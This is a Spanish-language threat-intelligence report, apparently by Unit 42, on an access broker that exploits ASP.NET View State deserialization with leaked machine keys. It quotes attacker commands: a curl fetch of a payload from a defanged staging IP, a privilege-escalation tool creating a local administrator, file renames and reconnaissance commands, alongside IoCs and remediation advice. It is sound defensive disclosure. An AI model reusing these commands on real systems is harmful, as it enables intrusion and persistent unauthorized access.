Resumen ejecutivo

Los investigadores de Unit 42 descubrieron una campaña de un intermediario de acceso inicial (IAB) para explotar claves de máquina filtradas (claves criptográficas utilizadas en sitios ASP.NET) con el fin de obtener acceso a organizaciones objetivo. Los IAB vulneran organizaciones y luego venden ese acceso a otros actores de amenazas.

En este informe, se analizan las herramientas utilizadas en estos ataques. Realizamos un seguimiento de este actor como el grupo temporal TGR-CRI-0045. El grupo parece seguir un enfoque oportunista, pero ha atacado a organizaciones de Europa y Estados Unidos en los siguientes sectores: servicios financieros, fabricación, venta mayorista y minorista, alta tecnología y transporte y logística.

El IAB utilizó estas claves filtradas para firmar cargas útiles maliciosas que proporcionan acceso no autorizado a los servidores objetivo, en una técnica denominada deserialización de View State en ASP.NET. Esta técnica le permitía al IAB ejecutar cargas útiles maliciosas directamente en la memoria del servidor, lo que minimizaba la presencia en el disco y dejaba pocos artefactos forenses, lo que dificultaba la detección.

Atribuimos el grupo temporal TGR-CRI-0045, con una confianza media, a Gold Melody (alias UNC961, Prophet Spider). Esta evaluación se basa en coincidencias en lo siguiente:

  • Indicadores de vulneración (IoC)
  • Tácticas, técnicas y procedimientos (TTP)
  • Victimología

En este informe, también se analizan la infraestructura de TGR-CRI-0045 y las herramientas utilizadas para recopilar información sobre otros sistemas de la red y mantener el acceso a los sistemas explotados. Las herramientas parecen estar en desarrollo activo.

Los primeros indicios de explotación e implementación de herramientas se produjeron en octubre de 2024, con un aumento significativo de la actividad entre finales de enero y marzo de 2025. Esta oleada incluyó la implementación de herramientas posteriores a la explotación, como escáneres de puertos de código abierto y utilidades personalizadas para la persistencia (mantenimiento del acceso) y la escalada de privilegios (obtención de acceso de nivel superior).

Identificamos o respondimos a incidentes en aproximadamente una docena de organizaciones afectadas por esta amenaza. En la mayoría de los casos, identificamos las claves de máquina expuestas como la causa raíz. Por lo tanto, recomendamos encarecidamente que las organizaciones revisen la guía de Microsoft sobre la identificación y la corrección de claves de máquina comprometidas para sitios ASP.NET en Internet Information Services (IIS) en su entorno.

Los clientes de Palo Alto Networks están mejor protegidos de las herramientas analizadas en este artículo gracias a los siguientes productos y servicios:

  • Los modelos de aprendizaje automático y las técnicas de análisis de Advanced WildFire se han revisado y actualizado a la luz de los indicadores compartidos en esta investigación.
  • Cortex XDR y XSIAM proporciona protecciones listas para usar para exploits de deserialización IIS con el módulo de protección IIS.

Si cree que puede haber resultado vulnerado o tiene un problema urgente, póngase en contacto con el equipo de respuesta ante incidentes de Unit 42.

Temas relacionados con Unit 42 Microsoft, Web Shells, Golang

Análisis técnico

Cómo la búsqueda de amenazas gestionada descubrió TGR-CRI-0045: aumento de la explotación

Entre el 30 de enero y el 2 de febrero de 2025, respondimos a intrusiones en servidores web en dos entornos de clientes. En ambos casos, las intrusiones implicaban la ejecución de comandos shell originados en un proceso de trabajo en IIS (w3wp.exe). Estas intrusiones tenían las siguientes características en común:

  • Invocación de cmd.exe utilizando la redirección de salida stdout y stderr: cmd /c your_command_here 2>&1
  • Directorio de etapas: C:\Windows\Temp\111t
  • Archivo recuperado mediante curl desde: hxxp://195.123.240[.]233:443/atm

Investigación más amplia

Inesperadamente, la investigación de los endpoints afectados no reveló ningún shell web cargado recientemente. Sin embargo, al ampliar la investigación se reveló la misma invocación de cmd.exe y el mismo uso indebido del directorio de montaje en las intrusiones manuales de otros inquilinos.

La telemetría confirmó que el atacante ejecutaba comandos cargando ensamblados .NET gestionados (código C#) directamente en la memoria (carga reflexiva). Este exploit tenía como objetivo View State, un parámetro interno de los sitios ASP.NET que se ejecuta en Microsoft IIS mediante la deserialización de una carga maliciosa. La deserialización es el proceso de convertir los datos codificados para el tránsito o el almacenamiento en el estado interno de la aplicación. Como informó MSTIC, esta explotación fue probablemente posible gracias al uso por parte de las víctimas de claves de máquina estáticas y expuestas en sus aplicaciones.

Los informes públicos sobre la explotación de vulnerabilidades de IIS por parte de actores de amenazas con motivaciones financieras son limitados. En este informe, se pretende abordar esta carencia al proporcionar información sobre el oficio de los atacantes y contribuir a la creciente comprensión de la explotación de la deserialización en .NET. Nuestro objetivo es capacitar a los defensores para que respondan eficazmente a estas amenazas.

Cómo TGR-CRI-0045 explotaba los servidores de las víctimas

Introducción a la explotación de View State en IIS y ASP.NET

A fin de entender el acceso de TGR-CRI-0045 es necesario explicar las funciones de IIS, ASP.NET y View State, y cómo el material clave comprometido permite la ejecución remota de código. IIS es un servidor web compatible con varias tecnologías de aplicaciones web, incluida ASP.NET. Este marco permite a los desarrolladores crear aplicaciones dinámicas del lado del servidor con lenguajes .NET, como C# y VB.NET.

Los sitios web ASP.NET utilizan View State para gestionar las interacciones entre el navegador del usuario y el servidor. View State mantiene el estado de los controles del frontend (por ejemplo, casillas de verificación y campos de entrada) entre solicitudes, almacenando esta información en un parámetro HTTP oculto llamado __VIEWSTATE, incluido en todas las solicitudes. Este parámetro es vulnerable a varias técnicas de deserialización de .NET que pueden permitir la ejecución remota de código si el atacante conoce la clave utilizada para protegerlo.

Las claves de máquina, que consisten en una ValidationKey (clave de validación) (para la integridad) y una DecryptionKey (clave de descifrado) opcional, protegen los View States de ASP.NET de la manipulación por defecto. Sin embargo, los atacantes pueden aprovechar las listas públicas de claves de máquina filtradas que suelen estar presentes en los sitios de producción debido a la reutilización del código (a lo que se hace referencia al final de este artículo).

Los atacantes también pueden extraer claves de máquina directamente de los servidores en ejecución. Con un conjunto válido de claves de máquina, un atacante puede crear una carga útil de deserialización maliciosa, atacar un servidor vulnerable y ejecutar código arbitrario en el contexto del proceso de trabajo de IIS.

El alcance potencial de este ataque es significativo. Los View States se transmiten independientemente del sitio o la aplicación específicos que se ejecuten en ASP.NET, incluso si están desactivados para un componente concreto. Cualquier servidor de IIS que ejecute un sitio ASP.NET con claves de máquina comprometidas probablemente sea vulnerable. Si desea leer una explicación detallada de cómo los actores de amenazas almacenan y acceden a las claves de máquina, le recomendamos esta publicación en el blog de Zeroed.tech.

Generación y ejecución de cargas útiles de View State

TGR-CRI-0045 probablemente utilizó herramientas como ysoserial.net, un generador de carga útil de deserialización .NET de código abierto, y su plugin View State para construir cargas útiles maliciosas de deserialización que:

  • Eludieron la protección de View State utilizando claves de máquina preexpuestas para crear firmas criptográficas válidas, evitando las protecciones integradas de View State. (A menudo, los sitios comprometidos tenían archivos web.config que contenían claves de máquina que estaban presentes en listas de denegación conocidas).
  • Utilizaron el método XamlAssemblyLoadFromFile gadget, un gadget de deserialización basado en datos con formato XAML para:
    • Desencadenar la deserialización maliciosa.
    • Cargar y ejecutar un ensamblado .NET en la memoria desde un flujo gzip codificado en Base64 contenido en el parámetro __VIEWSTATE.

Los ensamblados .NET cargados tienen el mismo ciclo de vida que la solicitud HTTP de entrega. El atacante lanza una carga útil de exploit y el servidor objetivo la procesa. La carga útil se ejecuta utilizando parámetros de entrada agrupados en la misma solicitud y devuelve la salida a la solicitud de origen a través de la respuesta HTTP.

Una vez procesada, la carga útil no puede reutilizarse. Este exploit “de un solo intento” requiere un intento independiente para cada comando, lo que resulta en una proporción de 1:1 entre los intentos de exploit y las ejecuciones de comandos. En la Figura 1 a continuación, se muestra este proceso.

Diagrama que representa un proceso de solicitud y respuesta HTTP. Incluye iconos que representan una configuración, un usuario, un servidor y un documento. Los cuadros de texto muestran elementos del proceso, como URL y métodos HTTP como GET y POST, junto con las respuestas.
Figura 1. Flujo evaluado de las acciones del operador para construir una carga útil, y cómo se le envía una respuesta.

Recuperación y análisis de módulos TGR-CRI-0045 en IIS

En los entornos comprometidos, identificamos subconjuntos de los siguientes cinco ensamblados .NET cargados en la memoria luego de una explotación exitosa de View State:

  • Cmd /c: identificamos tres subvariantes, cada una de las cuales utiliza diferentes parámetros HTTP para pasar un comando al shell de comandos del sistema. Esto permitía al atacante ejecutar comandos arbitrarios en el servidor.
  • Carga de archivos: permitía al atacante subir archivos al servidor especificando una ruta de archivo de destino y un búfer de bytes con el contenido del archivo.
  • Ganador: probablemente se trataba de una comprobación de explotación que informaba al atacante de una victoria, confirmando que la explotación había tenido éxito.
  • Descarga de archivos: (no recuperado) basándose en las funciones importadas, este módulo parece ser un descargador que permite al atacante recuperar datos sensibles del servidor comprometido.
  • Cargador reflectante: (no recuperado) basándose en las funciones importadas, este módulo parece ser un cargador reflexivo que le permite al atacante cargar y ejecutar de forma dinámica ensamblados .NET adicionales en la memoria sin escribirlos en el disco.

Los ensamblados recuperados tienen características en común de tratamiento de datos. Parece que utilizan una clave XOR simple de un solo carácter (x) para descifrar cargas útiles incrustadas en parámetros HTTP.

Los ensamblados también parecen llamar a httpContext.response.Flush() seguido de httpContext.response.End() para finalizar las respuestas HTTP. Esto probablemente reduce la cantidad de datos forenses generados cuando ASP.NET no consigue deserializar correctamente las cargas útiles maliciosas, lo que dificulta la detección y la respuesta ante incidentes.

El nombre de ensamblado E, que es el nombre predeterminado de la clase ExploitClass en ysoserial.net, es el más frecuente. Para evitar conflictos de nomenclatura, el atacante cambió el nombre de algunos módulos (por ejemplo, Dw y d).

En las Figuras 2 a 6, se muestra el código fuente de los módulos recuperados, que probablemente se escribieron como archivos .cs de C#. La compilación (transformación del código fuente en código ejecutable) varía en función del gadget de ysoserial.net utilizado. Observamos con mayor frecuencia el gadget XamlAssemblyLoadFromFile, que compila el ensamblado .NET en el sistema del atacante durante la explotación y lo transmite al servidor de destino para que se ejecute en la memoria.

Cargas útiles de Cmd

Captura de pantalla de un fragmento de código en un editor de texto con sintaxis resaltada. El código implica gestionar una excepción, iniciar un proceso para ejecutar 'cmd.exe', redirigir la entrada y la salida estándar y borrar el contexto HTTP. La interfaz del editor utiliza el modo oscuro y muestra los números de línea junto al código.
Figura 2. Fuente de la carga útil de la variante cmd /c con encabezados sec-fetch-mode.
Captura de pantalla de código informático en un editor de texto, con funciones y comandos relacionados con el contexto HTTP y los procesos del sistema, incluidas referencias a la gestión de errores y la obtención de argumentos de la línea de comandos.
Figura 3. Fuente de la variante cmd /c con encabezado cmd.
Captura de pantalla de código informático con sintaxis resaltada. El código incluye funciones y comentarios relacionados con la gestión de errores y las operaciones de contexto HTTP.
Figura 4. Fuente de la variante cmd /c con el parámetro __Value y cifrado XOR de un solo carácter.

Carga de archivos

Captura de pantalla de un editor de código informático que muestra un código con diversas funciones, incluidas operaciones con matrices y gestión de contextos HTTP. El código tiene sintaxis resaltada y se muestra en modo oscuro.
Figura 5. Fuente del ensamblado de carga de archivos que toma una ruta y el contenido del archivo en los parámetros __Fvalue y __Bvalue, respectivamente.

Comprobador de exploits

Captura de pantalla de un código informático en un editor con sintaxis resaltada y utilizando HttpContext.
Figura 6. Fuente del ensamblaje del comprobador de exploits que simplemente devuelve al operador u a win para indicar que la explotación tuvo éxito.

Uso operativo de los ensamblajes

Entre octubre de 2024 y enero de 2025, la actividad del actor de amenazas se centró principalmente en explotar sistemas, implementar módulos, como el comprobador de exploits, y realizar un reconocimiento básico del shell.

Postexplotación con control manual

La actividad posterior a la explotación consistió, principalmente, en el reconocimiento del host comprometido y la red circundante. No habíamos observado movimiento lateral hasta principios de junio.

Una característica consistente en todas las intrusiones observadas fue que TGR-CRI-0045 utilizaba C:\Windows\Temp\111t como directorio de almacenamiento de herramientas y datos. En algunas instancias aisladas, observamos que el actor de amenazas interactuaba con el directorio C:\Windows\Temp\gen_py, pero no encontramos pruebas de que allí almacenara herramientas o datos exfiltrados.

Escalada local de privilegios y persistencia

El actor de amenazas principalmente logró la escalada de privilegios local utilizando un binario C# personalizado llamado updf. Es probable que este nombre se utilizara para disfrazar el archivo como el editor de PDF llamado UPDF.

El binario updf parece estar en desarrollo activo, según las características parcialmente implementadas en su código base. Utiliza el exploit GodPotato que hace un mal uso de las tuberías con nombre de Windows para hacerse pasar por un servicio privilegiado (por ejemplo, epmapper) y obtener acceso a nivel de SISTEMA.

Aunque updf puede ejecutar comandos con privilegios de SISTEMA, se utiliza más comúnmente para crear un nuevo usuario local y añadirlo al grupo de administradores locales:

  • c:\windows\temp\111t\updf.exe -nadm 'support:Sup0rt_1!admin'

En un caso, TGR-CRI-0045 exportó archivos web.config (archivos de configuración de ASP.NET) y modificó la configuración de una página específica a <allow users="*"/>, lo que potencialmente evitaba la autenticación para el acceso alternativo al servidor. No pudimos confirmar si esta página modificada era una página vulnerable existente que era reexplotable por TGR-CRI-0045 o un shell web basado en disco.

Descarga de un binario por etapas

La mayoría de las intrusiones observadas implicaron el uso de wget o curl para descargar un binario ELF llamado atm. Si el atacante utilizó curl, era probable que ya existiera en los hosts. Si utilizó wget.exe, es probable que lo subiera a los servidores objetivo al ejecutar la carga útil de subida de archivos. El binario atm podría dar soporte a actividades maliciosas en servidores Linux, si se produjera un movimiento lateral. El siguiente es un ejemplo de un comando curl utilizado para descargar el binario atm:

  • curl hxxp://195.123.240[.]233:443/atm

TXPortMap

TGR-CRI-0045 utilizó TxPortMap, un escáner de puertos Golang y capturador de banners, ejecutado como txp.exe o txpm.exe. Se realizó para identificar servidores internos accesibles desde el host inicialmente comprometido (la cabeza de playa). Esto le permitió al atacante trazar un mapa de la red interna e identificar posibles objetivos de explotación.

Actividades de reconocimiento

Durante un período de 5 minutos, el actor de amenazas realizó un reconocimiento local y de la red a través del ensamblaje de comandos shell, utilizando los siguientes comandos:

En la Tabla 1, se muestran los comandos de reconocimiento.

Comando Descripción
tasklist Enumera todos los procesos en ejecución en el sistema
ipconfig /all Muestra la configuración de red del sistema, incluida la dirección IP, los servidores de nombres de dominio (DNS) y la dirección de control de acceso al medio (MAC)
quser Muestra información sobre los usuarios que iniciaron sesión
whoami /all Muestra la identidad y la pertenencia a grupos del usuario actual
nltest /domain_trusts Enumera los dominios de confianza
net user Enumera cuentas de usuario locales
systeminfo Muestra información detallada del sistema, incluida la versión del sistema operativo y los detalles del hardware
dir <user directories> Enumera los archivos y los directorios de los directorios de usuario

Tabla 1. Comandos de reconocimiento del actor de amenazas.

Cambiar el nombre de los ejecutables cargados para evadir la defensa

El ensamblaje de carga de archivos a veces cargaba ejecutables con nombres de archivo de uno, dos o tres caracteres. No está claro si se trataba de una limitación del propio ensamblaje o de una técnica de evasión deliberada por parte del actor de amenazas para subir archivos sin extensiones. Luego, el atacante utilizaba el ensamblaje de comandos shell para renombrar estos archivos con extensiones válidas dentro del directorio de almacenamiento, probablemente para que los archivos parecieran menos sospechosos.

Algunos ejemplos de comandos utilizados para renombrar los archivos:

  • "cmd.exe" /c move c:\windows\temp\111t\tx2 c:\windows\temp\111t\txp.exe 2>&1
  • "cmd.exe" /c move c:\windows\temp\111t\tx c:\windows\temp\111t\txpm.exe 2>&1
  • "cmd.exe" /c move c:\windows\temp\111t\w c:\windows\temp\111t\wget.exe 2>&1

Tras ejecutar las herramientas y el reconocimiento, el actor de amenazas eliminaba cualquier herramienta restante en el disco y el directorio 111t.

Atribución y objetivos

Basándonos en los solapamientos de IoC, TTP y victimología, evaluamos con confianza media que TGR-CRI-0045 está vinculado a Gold Melody.

TGR-CRI-0045 ha atacado organizaciones de Europa y Estados Unidos. El grupo parece seguir un enfoque oportunista coherente con su vector de ataque. Desde el inicio de la actividad identificada, el grupo ha atacado a organizaciones de las siguientes industrias, la mayoría de ellas con sede en EE. UU:

  • Servicios de inversión y valores
  • Fabricación: suministros para la construcción
  • Fabricación: refractarios de arcilla
  • Fabricación: instrumentos quirúrgicos/médicos
  • Comercio mayorista y minorista
  • Alta tecnología
  • Transporte y logística
  • Servicios de software preempaquetados
  • Procesamiento y preparación de datos
  • Servicios financieros
  • Revendedores de artículos/mercancía de segunda mano
  • Servicios de programación informática a medida

Implicaciones de la adopción por parte de la ciberdelincuencia de las técnicas avanzadas en IIS en la memoria y conclusiones clave para los equipos azules

Acceso más sigiloso y tiempos de permanencia más largos

Las técnicas avanzadas en IIS en la memoria dificultan considerablemente la detección. Sin la telemetría adecuada, los ataques de deserialización de View State son prácticamente invisibles. Normalmente, la remediación se produce solo cuando se generan nuevas claves de máquina o se da de baja el servidor. Esto permite a los actores de amenazas, en particular a los IAB, mantener un acceso a largo plazo y de bajo impacto a un conjunto de sistemas comprometidos.

Telemetría para solicitudes POST: Cubrir una posible debilidad

Aunque las cargas útiles de deserialización de View State pueden entregarse a través de un parámetro URI en una solicitud GET, los atacantes suelen incluir el parámetro __VIEWSTATE en una solicitud POST. Debido al tamaño y a la potencial sensibilidad, las solicitudes POST casi nunca se registran en servidores IIS, proxies, balanceadores de carga o dispositivos de seguridad.

Considere implementar soluciones que filtren condicionalmente y registren las solicitudes POST. Las opciones incluyen lo siguiente:

  • Reglas de registro personalizadas
  • Marcos de observabilidad web
  • Agentes de detección y respuesta de endpoints
  • Dispositivos de seguridad de la red

Una posible avenida de detección: registros de eventos de Windows

Windows puede registrar los fallos de deserialización de View State como Event ID 1316 en el registro de eventos de ASP.NET. Revise estos registros y compruebe si hay binarios maliciosos en las cargas útiles de View State fallidas. Los View States que contienen binarios o datos cifrados (cuando el cifrado de View State está desactivado) son altamente sospechosos.

Exploits de un solo intento: un enfoque limitado

TGR-CRI-0045 utiliza un enfoque simplista para la explotación de View State, cargando directamente un único ensamblaje sin estado. Cada ejecución del comando requiere volver a explotar y volver a cargar el ensamblaje (por ejemplo, ejecutar el ensamblaje de carga de archivos varias veces). Lo mismo ocurre con la ejecución de un nuevo listado de directorios o de un nuevo proceso. El ensamblaje, los parámetros y el código de exploit se envían y ejecutan, y los resultados se devuelven a través de una única solicitud. Este enfoque de único intento limita la capacidad del atacante para interactuar con el sistema comprometido.

Incluso si TGR-CRI-0045 no implementa un shell web persistente (respaldado por el disco o la memoria) a través de la explotación de View State, los defensores deben tener en cuenta lo siguiente:

  • Cada exploit es una oportunidad
    • Cada intento de exploit ofrece a los atacantes la oportunidad de ejecutar una carga útil que posiblemente sea invisible para las herramientas de seguridad y supervisión existentes.
  • La ausencia de un shell web no significa que no haya vulneración
    • La ausencia de un shell web no indica que el servidor no haya sido explotado.
  • Es necesaria una reexplotación
    • TGR-CRI-0045 deben explotar el servidor cada vez que desee ejecutar una carga útil, a menos que cargue un módulo que sea persistente entre solicitudes.
  • La explotación con estado es posible
    • Aunque TGR-CRI-0045 implementa módulos sin estado, existen casos documentados de actores de amenazas que implementaron ensamblajes .NET en IIS con estado tras la explotación. Se basan en datos almacenados en variables ASP.NET y .NET que son accesibles a la cadena de procesamiento web y persistentes entre solicitudes. El informe de CrowdStrike sobre IceApple es un ejemplo de este marco.

Técnicas de MITRE ATT&CK

  • T1036.005 - Enmascaramiento: coincidencia de nombre o ubicación legítimos (updf binario)
  • T1036.010 - Enmascaramiento: nombre de cuenta enmascarado
  • T1046 - Descubrimiento de servicios de red (TxPortMap)
  • T1059.003 - Intérprete de comandos y secuencias: shell de comandos de Windows (cmd.exe)
  • T1071.001 - Protocolo de capa sin aplicación: protocolos web (View State de HTTP)
  • T1082 - Descubrimiento de información del sistema (systeminfo, ipconfig)
  • T1105 - Transferencia de herramientas de entrada (wget, curl)
  • T1134.001 - Manipulación del token de acceso: suplantación/robo de tokens (exploit GodPotato en updf)
  • T1136.001 - Creación de una cuenta: cuenta local (updf)
  • T1190 - Explotación de la aplicación de cara al público (deserialización de View State)
  • T1217 - Descubrimiento de información del navegador
  • T1505.003 - Shell web (posible modificación de web.config)
  • T1572 - Túnel de protocolo (si se utiliza, se basa en funciones importadas en el módulo de descarga de archivos no recuperados)
  • T1587.001 - Malware

Orientación sobre reparación y refuerzo

Claves de máquina

Las claves de máquina en IIS son componentes criptográficos fundamentales que se usan para autenticar y cifrar datos cliente-servidor. Son esenciales para los exploits de deserialización de View State.

Si sospecha que se trata de un exploit de deserialización de View State, compruebe lo siguiente en su aplicación de IIS:

  • No tener activado el código de autenticación de mensajes (MAC) de State View.
  • Usar de una clave de máquina comprometida.
  • Que le hayan robado la clave de máquina.

A continuación, se ofrece orientación para cuatro posibles casos:

  • Si la firma MAC de View State está desactivada, actívela después de comprobar la estabilidad de la aplicación.
  • Si la firma MAC de View State está activada y utiliza claves de máquina estáticas, considere que las claves están comprometidas. Corríjalas siguiendo las directrices de Microsoft y Zeroed.Tech.
  • Si la firma MAC de View State está activada y utiliza claves de máquina estáticas encontradas en listas comprometidas conocidas (por ejemplo, Blacklist3r): restablezca las claves siguiendo las instrucciones de Microsoft anteriores, asegurándose de que la nueva clave no esté en la lista de denegación.
  • Si la firma MAC de View State está activada y utiliza claves de máquina dinámicas, considere que las claves están comprometidas y regenérelas en Server Manager de IIS.

Recomendamos encarecidamente leer la guía de Microsoft sobre reparación para este tema.

Conclusión

Esta investigación revela cómo TGR-CRI-0045 aprovecha las técnicas de IIS en la memoria para tener acceso persistente. La explotación de las vulnerabilidades de deserialización de View State de ASP.NET a través de claves de máquina expuestas permite tener una presencia mínima en el disco y lograr el acceso a largo plazo.

Los objetivos oportunistas del grupo y el continuo desarrollo de herramientas ponen de manifiesto la necesidad de que las organizaciones prioricen la identificación y la reparación de las claves de máquina comprometidas, tal y como señala Microsoft. La naturaleza de intento único del exploit y las limitaciones de la telemetría tradicional muestran que se necesita un registro condicional de solicitudes POST y un análisis cuidadoso del registro de eventos ASP.NET. Estas medidas contribuyen a la detección y la respuesta cuando las soluciones para endpoints carecen de visibilidad de tales ataques.

Protección y mitigación de Palo Alto Networks

Los clientes de Palo Alto Networks están mejor protegidos frente a las amenazas mencionadas gracias a los siguientes productos:

  • Los modelos de aprendizaje automático y las técnicas de análisis de Advanced WildFire se han revisado y actualizado a la luz de los indicadores compartidos en esta investigación.
  • Cortex XDR y XSIAM proporciona protecciones listas para usar para exploits de deserialización IIS con el módulo de protección IIS.

Protección de XDR y XSIAM en IIS

El módulo Protección de Cortex XDR y XSIAM en IIS cuenta con capacidades tanto para detectar como para prevenir la deserialización del View State, como se discute en este blog. Este módulo está activado por defecto.

Si cree que puede haber resultado vulnerado o tiene un problema urgente, póngase en contacto con el equipo de respuesta ante incidentes de Unit 42 o llame al:

  • Norteamérica: llamada gratuita: +1 (866) 486-4842 (866.4.UNIT42)
  • Reino Unido: +44.20.3743.3660
  • Europa y Oriente Medio: +31.20.299.3130
  • Asia: +65.6983.8730
  • Japón: +81.50.1790.0200
  • Australia: +61.2.4062.7950
  • India: 00080005045107

Palo Alto Networks ha compartido estos resultados con nuestros compañeros de Cyber Threat Alliance (CTA). Los miembros de CTA utilizan esta inteligencia para implementar rápidamente medidas de protección para sus clientes y desarticular sistemáticamente a los ciberdelincuentes. Obtenga más información sobre Cyber Threat Alliance.

Indicadores de vulneración

Hashes de ensamblajes .NET reflexivos:

  • 106506ebc7156be116fe5d2a4d662917ddbbfb286007b6ee7a2b01c9536b1ee4
  • 87bd7e24af5f10fe1e01cfa640ce26e9160b0e0e13488d7ee655e83118d16697
  • 55656f7b2817087183ceedeb4d9b78d3abee02409666bffbe180d6ea87ee20fb
  • 18a90b3702776b23f87738b26002e013301f60d9801d83985a57664b133cadd1
  • d5d0772cb90d54ac3e3093c1ea9fcd7b878663f7ddd1f96efea0725ce47d46d5
  • b3c085672ac34f1b738879096af5fcd748953116e319367e6e371034366eaeca
  • Tamaños de archivo: varios
  • Tipos de archivo: ejecutables (DLL)
  • Descripción del archivo: hashes de ensamblajes compilados observados
  • Método de ejecución: cargado por IIS al deserializar

Las herramientas de postexplotación se descargan en el disco:

  • d4bfaf3fd3d3b670f585114b4619aaf9b10173c5b1e92d42be0611b6a9b1eff2
  • c1f66cadc1941b566e2edad0d1f288c93bf060eef383c79638306638b6cefdf8
  • Tipos de archivos: Ejecutables
  • Descripción del archivo: TxPortMap llamado txpm.exe o txp.exe
  • Método de ejecución: cmd /c
  • 52a72f899991506d2b1df958dd8736f7baa26592d664b771c3c3dbaef8d3114a
  • d3767be11d9b211e74645bf434c9a5974b421cb96ec40d856f4b232a5ef9e56d
  • Tipos de archivos: Ejecutables
  • Descripción del archivo: ejecutables .NET llamados updf.exe o up que utilizan la técnica de escalada de privilegios GodPotato para elevarse y crear un nuevo administrador local o ejecutar una instancia de cmd /c.
  • Método de ejecución: cmd /c
  • f368ec59fb970cc23f955f127016594e2c72de168c776ae8a3f9c21681860e9c
  • Tipo de archivo: ELF
  • Descripción del archivo: permite a un usuario ejecutar comandos o binarios como usuario root en hosts Linux. Descargado mediante curl.

Direcciones IP de explotación:

  • 67.43.234[.]96
  • 213.252.232[.]237
  • 98.159.108[.]69
  • 190.211.254[.]95
  • 109.176.229[.]89
  • 169.150.198[.]91
  • 194.5.82[.]11
  • 138.199.21[.]243
  • 194.114.136[.]95

Se observaron cargas útiles de explotación que contenían parámetros __VIEWSTATE maliciosos desde las siguientes direcciones IP entre octubre de 2024 y febrero de 2025. El tráfico HTTP/s de estas direcciones dirigido a servidores IIS debe ser interrogado.

Herramientas de preparación de infraestructura para postexplotación:

  • 195.123.240[.]233

Entre enero y febrero de 2025, el actor de amenazas extrajo herramientas de esta dirección a través de curl en Windows.

Recursos adicionales

Enlarged Image